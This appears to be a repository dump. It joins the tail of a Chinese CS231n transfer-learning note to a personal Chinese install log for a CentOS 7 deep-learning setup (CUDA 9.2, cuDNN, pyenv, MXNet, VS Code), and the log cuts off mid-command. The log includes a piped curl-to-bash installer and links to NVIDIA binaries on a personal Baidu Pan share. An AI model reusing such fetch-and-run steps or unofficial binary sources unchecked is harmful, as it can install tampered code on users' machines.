Learning\n\nๆˆ‘ไปฌๅทฒ็ป็œ‹ๅˆฐๆญฃๅˆ™ๅŒ–ๅฏไปฅๅ‡ๅฐ่ฎญ็ปƒ่ฏฏๅทฎๅ’Œๆต‹่ฏ•่ฏฏๅทฎ็š„้—ด้š™๏ผŒๆ‰€่ฐ“่ฟ‡ๆ‹Ÿๅˆ้—ฎ้ข˜ใ€‚\n\nไธ่ฟ‡ๆœ‰ๆ—ถๅ€™่ฟ‡ๆ‹Ÿๅˆ็š„ๅŽŸๅ› ๏ผŒๆ˜ฏ็”ฑไบŽๆ•ฐๆฎไธๅคŸใ€‚ไฝ ๅธŒๆœ›ๅพ—ๅˆฐไธ€ไธชๅŠŸ่ƒฝๅพˆๅคง็š„็ฝ‘็ปœๆจกๅž‹ใ€‚ไฝ†ๅคง่€Œๅผบ็š„็ฝ‘็ปœๅœจๅฐๆ•ฐๆฎ้›†ๅˆๆ—ถๅพˆๅฎนๆ˜“่ฟ‡ๆ‹Ÿๅˆใ€‚ๆญฃๅˆ™ๅŒ–ๆ˜ฏไธ€็งๅค„็†็š„ๆ–นๅผ๏ผŒๅฆไธ€็งๆ–นๅผๅฐฑๆ˜ฏไฝฟ็”จ่ฟ็งปๅญฆไน ใ€‚\n\nไบŒๅ›พๅ‡ ไนŽ่ฏดๆ˜Žไธ€ๅˆ‡๏ผš\n\n![](https://i.loli.net/2018/08/30/5b8769a002d4f.png)\n\n![](https://i.loli.net/2018/08/30/5b876b0a328d5.png)\n\n่ฟ็งปๅญฆไน ็š„่ฟ็”จๆ˜ฏ็›ธๅฝ“ๆ™ฎ้็š„๏ผŒๅคงๅฎถ็š„ paper ็”š่‡ณ้ƒฝไธๆ€Žไนˆ็ป†่‡ด็š„ๆๅŠ่ฟ™ไปถไบ‹ๆƒ…ใ€‚\n\n๏ผˆIt's the norm, not an exception๏ผ‰\n\n![](https://i.loli.net/2018/08/30/5b876c25b1c06.png)\n\n\n\n- ๆœ€ๅŽ็š„FYI๏ผš\n\n - **Takeaway for your projects and beyond:** \n\n Have some dataset of interest but it has < ~1M images? \n\n 1. Find a very large dataset that has similar data, train a big ConvNet there \n 2. Transfer learn to your dataset \n\n Deep learning frameworks provide a โ€œModel Zooโ€ of pretrained models so you donโ€™t need to train your own \n\n - Caffe: https://github.com/BVLC/caffe/wiki/Model-Zoo \n - TensorFlow: https://github.com/tensorflow/models \n - PyTorch: https://github.com/pytorch/vision \n - MXNet: https://mxnet.incubator.apache.org/model_zoo/\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_7.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n" }, { "alpha_fraction": 0.6457743644714355, "alphanum_fraction": 0.6797968745231628, "avg_line_length": 25.201520919799805, "blob_id": "58b93438290e55500afa75c6722336ef9fd8ba70", "content_id": "0511dce6855a4e81ab27b430d0b22990a5be509b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 16895, "license_type": "no_license", "max_line_length": 394, "num_lines": 526, "path": "/blog/posts/Centos7_CUDA_9.2_cuDNN_7.3_mxnet_cu92_Floydhub_MyInstallitionNotes.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Centos7 + CUDA-9.2 + cuDNN-7.3 + mxnet-cu92 + Floydhub ๅฎ‰่ฃ…่ฎฐๅฝ•\ndate: 2018-10-26\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n\n\n# Centos7/CUDA-9.2/cuDNN-7.3/MXNet-cu92/Floydhub ๆทฑๅบฆๅญฆไน ็Žฏๅขƒ้…็ฝฎๆ‰‹ๅ†Œ\n\n\n\n> ๆญคๆ–‡ๆ˜ฏ่‡ชๅทฑ้ฆ–ๆฌก้…็ฝฎ Centos7 ๅ’Œๆทฑๅบฆๅญฆไน  GPU ็Žฏๅขƒ็š„้…็ฝฎๆต็จ‹๏ผŒไธ€ไบ›ๅฎนๆ˜“็ขฐๅˆฐ็š„ๅ‘ๅ’Œๅ‚่€ƒ่ต„ๆ–™้ƒฝๅทฒๆณจๆ˜Žๆธ…ๆฅšใ€‚\n>\n> - Centos7 ็ณป็ปŸๅฏไปŽ่‡ชๅทฑ็š„็™พๅบฆไบ‘็›˜ไธ‹่ฝฝ๏ผš\n>\n> ้“พๆŽฅ:https://pan.baidu.com/s/1xYEdRHhTTOYef4qz5vtpHA ๅฏ†็ :wog4\n>\n> - GPU ็กฌไปถๆ˜ฏ `GeForce GTX 960`๏ผŒ้ž POWER8/POWER9 ็ฑปๅž‹ใ€‚\n>\n> - ไปฅไธ‹้…็ฝฎๆต็จ‹๏ผŒ้™ค emacs ๅ’Œ zip ็ญ‰ๅค–๏ผŒ้ƒฝๆ˜ฏๅฟ…่ฆๆญฅ้ชคใ€‚\n\n---\n\n[TOC]\n\n---\n\n\n\nๆˆๅŠŸๅฎ‰่ฃ… Centos7 ็ณป็ปŸๅŽ๏ผŒ็”จ `root` ่ดฆๆˆท็™ปๅฝ•็ณป็ปŸใ€‚ใ€‚.\n\n## 1. ้…็ฝฎ็ฝ‘ๅก\n\n```shell\n$ nm-connection-editor\n```\n\n่ฎพ็ฝฎไธบ่‡ชๅŠจ่Žทๅ– ip๏ผŒ็„ถๅŽๆ กๅ›ญ็ฝ‘็™ป้™† `172.16.202.203`\n\n\n\n## 2. ้…็ฝฎ CentOS ้•œๅƒๆบ\n\n้…็ฝฎๆธ…ๅŽ็š„ CentOS ้•œๅƒๆบ๏ผš https://mirrors.tuna.tsinghua.edu.cn/help/centos \n\n๏ผˆ็ฝ‘ๆ˜“็š„CentOS้•œๅƒไนŸไธ้”™๏ผšhttps://mirrors.163.com/.help/centos.html๏ผ‰\n\n\n\n## 3. gcc\n\n```shell\n$ yum install gcc \t\t# version 4.8.5\n$ yum install gcc-c++\n```\n\n\n\n## 4. CUDA-9.2\n\nไธ‹่ฝฝๅนถๆŒ‰็…งๅฎ˜ๆ–นๆ–‡ๆกฃ่ฟ›่กŒๅฎ‰่ฃ…๏ผš๏ผˆCUDA-9.2 ๅ’Œ cuDNN-9.2 ไนŸ้ƒฝๅฏๅœจๆˆ‘็š„็™พๅบฆไบ‘็›˜ไธ‹่ฝฝ๏ผšhttps://pan.baidu.com/s/1q3_TKTOSE7bhnzigdEdfQA ๅฏ†็ :vsg7๏ผ‰\n\n> REF๏ผš\n>\n> - [CUDA Toolkit 9.2](https://developer.nvidia.com/cuda-92-download-archive) (May 2018)\n>\n> - [Online Documentation](https://docs.nvidia.com/cuda/archive/9.2/) (From : [CUDA Toolkit Archive](https://developer.nvidia.com/cuda-toolkit-archive)) \n\n- `pre-installition `ไน‹ๅŽ๏ผŒๅ…ณไบŽ `.run` ็š„ๅฎ‰่ฃ…ๆญฅ้ชคไธญ๏ผŒ`Disable the Nouveau drivers` ๆ˜ฏ้œ€่ฆๅ…ˆๆŸฅ็œ‹ๆ˜ฏๅฆๅผ€ๅฏไธญ๏ผš\n\n ```shell\n $ lsmod | grep nouveau\n ```\n\n ่‹ฅๅผ€ๅฏไธญ๏ผŒๅˆ™ๆ นๆฎๆ–‡ๆกฃๆ‰€ๅ†™๏ผš\n\n > 1. Create a file at `/etc/modprobe.d/blacklist-nouveau.conf`with the following contents:\n >\n > ```bash\n > blacklist nouveau\n > options nouveau modeset=0\n > ```\n >\n > 2. Regenerate the kernel initramfs:\n >\n > ```shell\n > $ sudo dracut --force\n > ```\n\n ๆ นๆฎ [ref](https://www.tecmint.com/install-nvidia-drivers-in-linux/) ๆ‰€ๅ†™็š„๏ผŒ้กบ้“ๅ† create a new **`initramfs`** file and taking backup of existing.\n\n ```shell\n $ mv /boot/initramfs-$(uname -r).img /boot/initramfs-$(uname -r).img.bak \n $ dracut -v /boot/initramfs-$(uname -r).img $(uname -r)\n ```\n\n ้‡ๅฏ `$ reboot` ๏ผŒ่ฟ›ๅ…ฅ Login into command mode using <kbd>Alt</kbd> +<kbd>F2~F5</kbd> as rootใ€‚\n\n ๅฏไปฅ้ชŒ่ฏ Nouveau ๆœชๅผ€ๅฏใ€‚\n\n- ๆญฅ้ชค `Reboot into text mode (runlevel 3).` ๆ—ถ๏ผŒEnter runlevel 3 by typing `init 3`ใ€‚๏ผˆ[ref](https://askubuntu.com/questions/149206/how-to-install-nvidia-run?answertab=votes#tab-top)๏ผ‰\n\n- ๅผ€ๅง‹ๅฎ‰่ฃ… `sudo sh cuda_9.2.148_396.37_linux.run` ๅ’Œ CUDA 9.2 Patch Update `sudo sh cuda_9.2.148.1_linux.run` ๏ผŒ ้‡ๅฏใ€‚\n\n- ้…็ฝฎ็Žฏๅขƒๅ˜้‡๏ผš`vim /etc/profile`๏ผŒ ้”ฎๅ…ฅ๏ผš\n\n ```bash\n PATH=$PATH:/usr/local/cuda-9.2/bin\n export PATH\n export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib:/usr/local/cuda-9.2/lib64\n ```\n\n ไฟๅญ˜๏ผŒ้€€ๅ‡บ๏ผŒๆ‰ง่กŒ๏ผš`$ source /etc/profile`ใ€‚ๅœจๆŸฅ็œ‹็Žฏๅขƒๅ˜้‡๏ผš`$ echo $PATH` ๏ผˆ[ref](https://www.jianshu.com/p/73399a4c9114)๏ผ‰\n\n ๏ผˆ*ๆˆ–่ฎธ*ไนŸๅฏไปฅๆŒ‰็…งๅฎ˜ๆ–น็š„็Žฏๅขƒๅ˜้‡้…็ฝฎๆ–นๆณ• [ref](https://docs.nvidia.com/cuda/archive/9.2/cuda-installation-guide-linux/index.html#environment-setup)๏ผš`$ export PATH=/usr/local/cuda-9.2/bin${PATH:+:${PATH}}` , `$ export LD_LIBRARY_PATH=/usr/local/cuda-9.2/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}` ๏ผ‰\n\n- ้ชŒ่ฏๅฎ‰่ฃ…๏ผš\n\n ```shell\n $ cd /root/NVIDIA_CUDA-9.2_Samples/1_Utilities/deviceQuery\n $ make\n $ ./deviceQuery\n ```\n\n ็ป“ๆžœๆ˜พ็คบ `Result = PASS` ไธบๆˆๅŠŸ๏ผŒ\n\n- ๆŸฅ็œ‹็‰ˆๆœฌ๏ผš`$ nvcc --version`\n\n- ๆŸฅ็œ‹ GPU ็Šถๆ€๏ผš`$ nvidia-smi`\n\n ![](https://i.loli.net/2018/10/29/5bd6a3eb29bab.png)\n\n ```shell\n # ๅฏ็”จๅฆ‚ไธ‹ไปฃ็ ๅฎžๆ—ถ็›‘ๆŽง\n $ watch -n 1 -d nvidia-smi\n ```\n\n\n## 5. cuDNN-9.2\n\nๅฎ‰่ฃ… [CUDA Dependencies](http://mxnet.incubator.apache.org/install/ubuntu_setup.html#cuda-dependencies) ๏ผš [cuDNN 7.1.4](https://developer.nvidia.com/cudnn) ใ€‚่ฟ™ไนŸๅฏไปŽๆˆ‘็š„[็™พๅบฆไบ‘](https://pan.baidu.com/s/1U8pGv_o62iS1JFyXjK04Tg)ไธ‹่ฝฝ๏ผš\n\n```shell\n$ tar xvf cudnn-9.2-linux-x64-v7.3.1.20.tar\n$ sudo cp -P cuda/include/cudnn.h /usr/local/cuda/include\n$ sudo cp -P cuda/lib64/libcudnn* /usr/local/cuda/lib64\n$ sudo chmod a+r /usr/local/cuda/include/cudnn.h /usr/local/cuda/lib64/libcudnn*\n$ sudo ldconfig\n```\n\n๏ผˆFrom: [ref](http://mxnet.incubator.apache.org/install/ubuntu_setup.html#cuda-dependencies)๏ผ‰\n\n\n\n## 6. pip [PyPi]\n\n```shell\n$ sudo yum -y install epel-release # ๅฎ‰่ฃ… EPEL ๆ‰ฉๅฑ•ๆบ\n$ sudo yum -y install python-pip # pip 8.1.2 (python 2.7)\n\n# ๅ…ˆไธดๆ—ถไฝฟ็”จๆธ…ๅŽ็š„ๆบๆ›ดๆ–ฐ pypi ๅˆฐๆœ€ๆ–ฐ\n$ pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip\n# ๆŠŠๆธ…ๅŽ็š„ๆบ่ฎพไธบ้ป˜่ฎค\n$ pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple\n```\n\n\n\n\n\n---\n\n> ไปŽๆญคๅค„ๅผ€ๅง‹ๅพ€ๅŽ๏ผŒ้ƒฝ็™ป้™†็ณป็ปŸ็ฎก็†ๅ‘˜็”จๆˆท้…็ฝฎ๏ผŒ้ž root ็”จๆˆทใ€‚\n>\n\n---\n\n## 7. Git\n\nๅ‡็บง git๏ผŒๅ‚่€ƒ๏ผš[ref](https://www.cnblogs.com/kevingrace/p/8252517.html)\n\n```shell\n# ๅฎ‰่ฃ…ไพ่ต–่ฝฏไปถ\n$ sudo yum install curl-devel expat-devel gettext-devel openssl-devel zlib-devel asciidoc\n$ sudo yum install gcc perl-ExtUtils-MakeMaker\n\n# ๆ‹†ๅธ็ณป็ปŸ่‡ชๅธฆ็š„ git ็‰ˆๆœฌ\n$ git --version\n$ sudo yum remove git\n\n# ็ผ–่ฏ‘ๅฎ‰่ฃ…ๆœ€ๆ–ฐ็š„ git ็‰ˆๆœฌ\n$ su\nroot$ cd /usr/local/src/\nroot$ wget https://www.kernel.org/pub/software/scm/git/git-2.19.1.tar.xz\nroot$ tar -vxf git-2.19.1.tar.xz\nroot$ cd git-2.19.1\nroot$ make prefix=/usr/local/git all\nroot$ make prefix=/usr/local/git install\nroot$ echo \"export PATH=$PATH:/usr/local/git/bin\" >> /etc/profile\nroot$ source /etc/profile\n\nroot$ git --version\n\n# ๅฆ‚ๆžœๆ˜ฏ้žroot็”จๆˆทไฝฟ็”จgit๏ผŒๅˆ™้œ€่ฆ้…็ฝฎไธ‹่ฏฅ็”จๆˆทไธ‹็š„็Žฏๅขƒๅ˜้‡\n$ echo \"export PATH=$PATH:/usr/local/git/bin\" >> ~/.bashrc\n$ source ~/.bashrc\n$ git --version\n```\n\n\n\n## 8. Zip\n\n```shell\n$ sudo yum -y install zlib*\n```\n\n\n\n## 9. Emacs & Spacemacs\n\n\n\n\n\n## 10. pyenv & pyenv-virtualenv\n\n> ่™šๆ‹Ÿ็Žฏๅขƒไน‹ `pyenv` ๅ’Œ `pyenv-virtualenv`๏ผšๅฎ˜ๆ–น [repo](https://github.com/pyenv/pyenv#installation) + ๅพˆๆฃ’็š„ [pyenv tutorial](https://amaral.northwestern.edu/resources/guides/pyenv-tutorial)\n\n- ไธ€้”ฎๅฎ‰่ฃ… `pyenv` ๏ผš`$ curl -L https://github.com/pyenv/pyenv-installer/raw/master/bin/pyenv-installer | bash`\n\n- ๅœจ `~/.bashrc` ไธญๅ†™ๅ…ฅ็Žฏๅขƒๅ˜้‡๏ผš\n\n ```bash\n export PATH=\"~/.pyenv/bin:$PATH\"\n eval \"$(pyenv init -)\"\n eval \"$(pyenv virtualenv-init -)\"\n ```\n\n ็Žฏๅขƒๆฟ€ๆดป็”Ÿๆ•ˆ๏ผš`$ source ~/.bashrc`\n\n- ๆŸฅ็œ‹ๅฏๅฎ‰่ฃ…็š„ Python ็‰ˆๆœฌๅˆ—่กจ๏ผš`$ pyenv install --list`\n\n- ไฝฟ็”จๅ›ฝๅ†…้•œๅƒๅŠ ้€Ÿ `pyenv`๏ผŒไธ็„ถไธ‹่ฝฝ้€Ÿๅบฆๆญปๆ…ขใ€‚ใ€‚ใ€‚ใ€‚่งฃๅ†ณๅŠžๆณ•ๅฆ‚ไธ‹๏ผš๏ผˆ[ref](https://www.jianshu.com/p/228cd025a368)+[ref](https://blog.csdn.net/l1216766050/article/details/77526455)๏ผ‰\n\n 1. ๅ‚่€ƒๅ›ฝๅ†…็š„้•œๅƒๅœฐๅ€ๆฅไธ‹่ฝฝ python ็‰ˆๆœฌใ€anaconda3็ญ‰็ญ‰๏ผš\n\n - https://mirrors.tuna.tsinghua.edu.cn/help/anaconda/ \n - https://pypi.tuna.tsinghua.edu.cn/simple \n - http://mirrors.aliyun.com/pypi/simple/ \n - http://pypi.douban.com/simple/ \n - https://mirrors.ustc.edu.cn/pypi/web/simple/\n - http://mirrors.sohu.com/python/\n\n 2. ไฝœไธบไธ€ไธชไพ‹ๅญ๏ผŒ็”จ `pyenv` ๅฎ‰่ฃ…ไธ€ไธช้ซ˜้…็š„ python3.6 ไฝœไธบ็ณป็ปŸ็š„ๅ…จๅฑ€ python ็Žฏๅขƒ๏ผŒๆœ‰ไธค็งๅŠžๆณ•๏ผš\n\n - ไธ€็งๆ˜ฏไปŽ้•œๅƒไธ‹่ฝฝ็›ธๅ…ณๅฎ‰่ฃ…ๅŒ…ๅˆฐ `~/.pyenv/cache/` ไธ‹้ข๏ผŒๅฆ‚๏ผš\n\n ```shell\n $ wget http://mirrors.sohu.com/python/3.6.7/Python-3.6.7.tar.xz -P ~/.pyenv/cache\n ```\n\n - ๅฆไธ€็งๆ˜ฏไฟฎๆ”น็›ธๅบ”็š„็›ธๅ…ณๅฎ‰่ฃ…ๆ–‡ๆกฃ๏ผŒๅฆ‚ๅฐ† `$ ~/.pyenv/plugins/python-build/share/python-build/3.6.7` ไธญ็š„ๅฎ‰่ฃ…ๅŒ…ๅœฐๅ€ๆ”นไธบๅ›ฝๅ†…ๆบๅœฐๅ€๏ผš `http://mirrors.sohu.com/python/3.6.7/Python-3.6.7.tar.xz`\n\n 1. ๅœจๆญฃๅผๅฎ‰่ฃ…ๅ‰้œ€่ฆๅ…ˆๅฎ‰่ฃ…ไธ€ไบ›็›ธๅ…ณไพ่ต–๏ผŒไธ็„ถไผš่งฃๅŽ‹ๅฎ‰่ฃ…ๅ‡บ้”™๏ผ\n\n ```bash\n $ sudo yum install readline readline-devel readline-static -y\n $ sudo yum install openssl openssl-devel openssl-static -y\n $ sudo yum install sqlite-devel -y\n $ sudo yum install bzip2-devel bzip2-libs -y\n ```\n\n 2. ๅผ€ๅง‹็”จ `pyenv` ๅฎ‰่ฃ…๏ผ\n\n ```shell\n $ pyenv install 3.6.7 # -v ๅ‚ๆ•ฐๅฏไปฅๆ˜พ็คบๅฎŒๆ•ด็š„ๅฎ‰่ฃ…่ฟ‡็จ‹\n $ pyenv versions # ๆŸฅ็œ‹็›ฎๅ‰ๅทฒ็ปๅฎ‰่ฃ…็š„\n # system ่กจ็คบ็ณป็ปŸๅฎ‰่ฃ…\n # * ่กจ็คบๅฝ“ๅ‰ไฝฟ็”จ็š„้‚ฃไธช็‰ˆๆœฌ\n ```\n\n 3. ๆ›ดๆ–ฐๆ•ฐๆฎๅบ“๏ผš`$ pyenv rehash`\n\n 4. ๆŠŠๅ…จๅฑ€็ณป็ปŸ็š„ python ็Žฏๅขƒ่ฎพ็ฝฎไธบ 3.6.7 ็‰ˆๆœฌ\n\n ```shell\n $ python -V \t# ๆŸฅ็œ‹่ฎพ็ฝฎๅ‰\n $ pyenv global 3.6.7\t# ็”จ pyenv ๅ˜ๆ›ดๅ…จๅฑ€ python ็‰ˆๆœฌ\n $ pyenv versions\t\t# ็”จ pyenv ๆŸฅ็œ‹ๅทฒๅฎ‰่ฃ…็š„็Šถๆ€\n $ python -V\t\t\t\t# ๆŸฅ็œ‹่ฎพ็ฝฎๅŽ\n $ which python \t\t\t# ๆŸฅ็œ‹็›ฎๅ‰ python\n ```\n\n 3. ๅฏไปฅ่ฎพๅฎšๆŸๆ–‡ไปถ็›ฎๅฝ•ไธ‹็š„ๅฑ€้ƒจ python ็Žฏๅขƒ๏ผˆuse pyenv to define a project-specific, or local, version of Python๏ผ‰\n\n ```shell\n $ pyenv local 3.6.7 # ๅœจๆŸ็›ฎๅฝ•ไธ‹ๆ‰ง่กŒๅฑ€้ƒจ็Žฏๅขƒ็š„ๅˆ‡ๆข\n ```\n\n 4. Python ็š„ไผ˜ๅ…ˆ็บง ๏ผˆ[ref](http://einverne.github.io/post/2017/04/pyenv.html)๏ผ‰\n\n - shell > local > global\n\n `pyenv` ไผšไปŽๅฝ“ๅ‰็›ฎๅฝ•ๅผ€ๅง‹ๅ‘ไธŠ้€็บงๆŸฅๆ‰พ .python-version ๆ–‡ไปถ๏ผŒ็›ดๅˆฐๆ น็›ฎๅฝ•ไธบๆญขใ€‚่‹ฅๆ‰พไธๅˆฐ๏ผŒๅฐฑ็”จ global ็‰ˆๆœฌใ€‚\n\n ```shell\n $ pyenv shell 2.7.3 # ่ฎพ็ฝฎ้ขๅ‘ shell ็š„ Python ็‰ˆๆœฌ๏ผŒ้€š่ฟ‡่ฎพ็ฝฎๅฝ“ๅ‰ shell ็š„ PYENV_VERSION ็Žฏๅขƒๅ˜้‡็š„ๆ–นๅผใ€‚่ฟ™ไธช็‰ˆๆœฌ็š„ไผ˜ๅ…ˆ็บงๆฏ” local ๅ’Œ global ้ƒฝ่ฆ้ซ˜ใ€‚โ€“unset ๅ‚ๆ•ฐๅฏไปฅ็”จไบŽๅ–ๆถˆๅฝ“ๅ‰ shell ่ฎพๅฎš็š„็‰ˆๆœฌใ€‚\n $ pyenv shell --unset\n \n $ pyenv rehash # ๅˆ›ๅปบๅžซ็‰‡่ทฏๅพ„๏ผˆไธบๆ‰€ๆœ‰ๅทฒๅฎ‰่ฃ…็š„ๅฏๆ‰ง่กŒๆ–‡ไปถๅˆ›ๅปบ shims๏ผŒๅฆ‚๏ผš~/.pyenv/versions/*/bin/*๏ผŒๅ› ๆญค๏ผŒๆฏๅฝ“ไฝ ๅขžๅˆ ไบ† Python ็‰ˆๆœฌๆˆ–ๅธฆๆœ‰ๅฏๆ‰ง่กŒๆ–‡ไปถ็š„ๅŒ…๏ผˆๅฆ‚ pip๏ผ‰ไปฅๅŽ๏ผŒ้ƒฝๅบ”่ฏฅๆ‰ง่กŒไธ€ๆฌกๆœฌๅ‘ฝไปค๏ผ‰\n ```\n\n- ไฝฟ็”จ `pyenv-virtualenv` ๏ผˆๅฎ˜ๆ–น [repo](https://github.com/pyenv/pyenv-virtualenv), [ref](https://www.jianshu.com/p/861f9a474f70), [ref](https://amaral.northwestern.edu/resources/guides/pyenv-tutorial)๏ผ‰\n\n ๆœฌๆฅ่ฟ™ๆ˜ฏไธ€ไธชๅ•็‹ฌ็š„่ฝฏไปถ็”จๆฅ่™šๆ‹Ÿไธ€ไธชpython็‰ˆๆœฌ็Žฏๅขƒ๏ผŒ่ฎฉๆฏไธชๅทฅไฝœ็Žฏๅขƒ้ƒฝๆœ‰ไธ€ๅฅ—็‹ฌ็ซ‹็š„pythonๅ„่‡ช็š„็ฌฌไธ‰ๆ–นๆ’ไปถไบ’ไธๅฝฑๅ“ใ€‚็„ถ่€Œๅœจ pyenv ไธ‹ๆœ‰ไธ€ไธชๆ’ไปถ pyenv-virtualenv ไป–ๅฏไปฅๅœจ pyenv ็š„็Žฏๅขƒไธ‹ๆ‹…่ดŸ่ตท virtualenv ็š„ไบ‹ๆƒ…ใ€‚๏ผˆๅฆ‚ๆžœไฝฟ็”จ็š„ๆ˜ฏๅŽŸ็”Ÿpythonๅฏไปฅ็”จ่ฟ™ไธชๅทฅๅ…ท๏ผŒๅฆ‚ๆžœ็”จ็š„ๆ˜ฏanacondaๅˆ™ไธ็”จ่ฟ™ไธช๏ผŒ็”จcondaๅทฅๅ…ทๆฅๅฎŒๆˆ่™šๆ‹Ÿ็Žฏๅขƒ๏ผ‰\n\n 1. ๅฎ‰่ฃ…๏ผš\n\n ```shell\n $ git clone https://github.com/yyuu/pyenv-virtualenv.git ~/.pyenv/plugins/pyenv-virtualenv\n $ source ~/.bashrc\n ```\n\n 2. ไฝฟ็”จ๏ผš(creat a virtualenv based on Python 3.6.7 under `/root/.pyenv/versions/` in a folder called `venv`)\n\n ```shell\n ~$ mkdir virtual_env\n ~$ cd virtual_env/\n ~/virtual_env$ pyenv virtualenv 3.6.7 venv\n ~/virtual_env$ pyenv versions\n ```\n\n 3. ๆŸฅ็œ‹๏ผš`pyenv virtualenvs`\n\n 4. ๆฟ€ๆดป/ไธๆฟ€ๆดป๏ผš`pyenv activate venv` / `pyenv deactivate`\n\n 5. ๅˆ ้™ค๏ผš`pyenv uninstall venv`\n\n\n\n\n\n## pipenv\n\n```shell\n$ pip install pipenv\n```\n\n\n\n## 11. Anaconda3\n\n> ๅฎ‰่ฃ… anaconda3 ๏ผˆๅœจ pyenv ้‡Œ๏ผ‰([ref](https://blog.csdn.net/l1216766050/article/details/77526455))\n\nไธบไบ†้ฟๅ…ๅ„็ง่™šๆ‹Ÿ็Žฏๅขƒไธๅ…ผๅฎน็š„้—ฎ้ข˜๏ผˆref๏ผš[Mac ไธ‹ๅฎž็Žฐ pyenv/virtualenv ไธŽ Anaconda ็š„ๅ…ผๅฎน](https://blog.csdn.net/vencent7/article/details/76849849)๏ผ‰๏ผŒๆ‰€ๆœ‰็š„ๅฎ‰่ฃ…ๅŒ…๏ผŒๅŒ…ๆ‹ฌ anaconda ้ƒฝๅฐ†ๅฎ‰่ฃ…ๅˆฐ pyenv ็š„็Žฏๅขƒ้‡Œใ€‚\n\n\n\n## 12. MXNet-cu92\n\n> ๅœจๆ–ฐๅปบ็š„ๅทฅไฝœ็›ฎๅฝ• `py4GW` ไธญ๏ผŒๅฑ€้ƒจๆœฌๅœฐๅŒ– anaconda3 ็Žฏๅขƒ๏ผŒๅนถๅœจๆญค็Žฏๅขƒไธญๅฎ‰่ฃ… `mxnet-cu92`๏ผš\n>\n\n```shell\n~/py4GW$ pyenv local anconda3-5.3.0\n(anaconda3-5.3.0) ~/py4GW$ pip install -U --pre mxnet-cu92\n(anaconda3-5.3.0) ~/py4GW$ sudo ldconfig /usr/local/cuda-9.2/lib64\n# ๅฏๅŠจ anaconda3\n(anaconda3-5.3.0) ~/py4GW$ anaconda-navigator\n```\n\n> ๆณจๆ„๏ผš\n>\n> **่ฟ™ๆ ท็š„ๅฎ‰่ฃ…ๆญฅ้ชค๏ผŒmxnet ๅฐ†ๅช่ƒฝๅœจ `anaconda3-5.3.0` ็Žฏๅขƒไธ‹ๆ‰่ƒฝ่ฐƒ็”จๆˆๅŠŸ๏ผ**\n\n\n\n## 13. Visual Studio Code\n\n> ๅฎ‰่ฃ… Visual Studio Code ๏ผˆๅฎ˜็ฝ‘ [rpm](https://code.visualstudio.com/docs/setup/linux#_rhel-fedora-and-centos-based-distributions)๏ผ‰๏ผˆๅœจ `anaconda3-5.3.0` ็Žฏๅขƒไธ‹ๅฎ‰่ฃ…๏ผ‰\n\n1. ```shell\n # Install the key and repository\n $ sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc\n $ sudo sh -c 'echo -e \"[code]\\nname=Visual Studio Code\\nbaseurl=https://packages.microsoft.com/yumrepos/vscode\\nenabled=1\\ngpgcheck=1\\ngpgkey=https://packages.microsoft.com/keys/microsoft.asc\" > /etc/yum.repos.d/vscode.repo'\n # Update the package cache and install the package\n $ yum check-update\n $ sudo yum install code\n ```\n\n\n## 14. ๅšๆžœไบ‘\n\n- ้€š่ฟ‡ๆบ็ ๅฎ‰่ฃ…ใ€‚๏ผˆ[ref](https://www.jianguoyun.com/s/downloads/linux)๏ผ‰\n\n1. ่งฃๅ†ณ่ฝฏไปถๅŒ…ไพ่ต–ๅ…ณ็ณป\n\nๅšๆžœไบ‘Linuxๅฎขๆˆท็ซฏไพ่ต–ไบŽ่ฟ™ไบ›ๅŒ…: `glib2.0-dev`, `gtk2.0-dev`, `libnautilus-extension-dev`, `gvfs-bin`, `JRE`ใ€‚ \n\n```shell\n$ sudo yum install glib2-devel gtk2-devel nautilus-devel gvfs java-1.7.0-openjdk-headless\n```\n\n2. ไธ‹่ฝฝNautilusๆ’ไปถๆบไปฃ็ ๅŒ…: [nutstore_linux_src_installer.tar.gz](https://www.jianguoyun.com/static/exe/installer/nutstore_linux_src_installer.tar.gz)\n\n```shell\n$ wget http://www.jianguoyun.com/static/exe/installer/nutstore_linux_src_installer.tar.gz\n```\n\n3. ่งฃๅŽ‹็ผฉ๏ผŒ็ผ–่ฏ‘ๅ’Œๅฎ‰่ฃ…Nautilusๆ’ไปถ\n\n```shell\n$ tar zxf nutstore_linux_src_installer.tar.gz\n$ cd nutstore_linux_src_installer && ./configure && make\n$ sudo make install\n```\n\n4. ้‡ๅฏNautilus\n\n```shell\n$ nautilus -q\n```\n\n5. ่ฟ่กŒไปฅไธ‹ๅ‘ฝไปค๏ผŒ่‡ชๅŠจไธ‹่ฝฝๅ’Œๅฎ‰่ฃ…ๅšๆžœไบ‘ๅ…ถไป–ไบŒ่ฟ›ๅˆถ็ป„ไปถ\n\n```shell\n$ ./runtime_bootstrap\n```\n\n\n\n## 15. Synergy\n\n ่‡ชๅทฑๆœ‰ Synergy1 pro ็š„่ดฆๅท ($19)๏ผŒ่ฎฟ้—ฎๅฎ˜็ฝ‘ไธ‹่ฝฝๅฎขๆˆท็ซฏๅนถๅฎ‰่ฃ…๏ผšhttps://symless.com/download\n\n1. ๅ…ˆๅฎ‰่ฃ…ไพ่ต–๏ผˆ[ref](https://github.com/symless/synergy-core/wiki/Compiling#centos-7)๏ผ‰\n\n ```shell\n $ sudo yum groupinstall 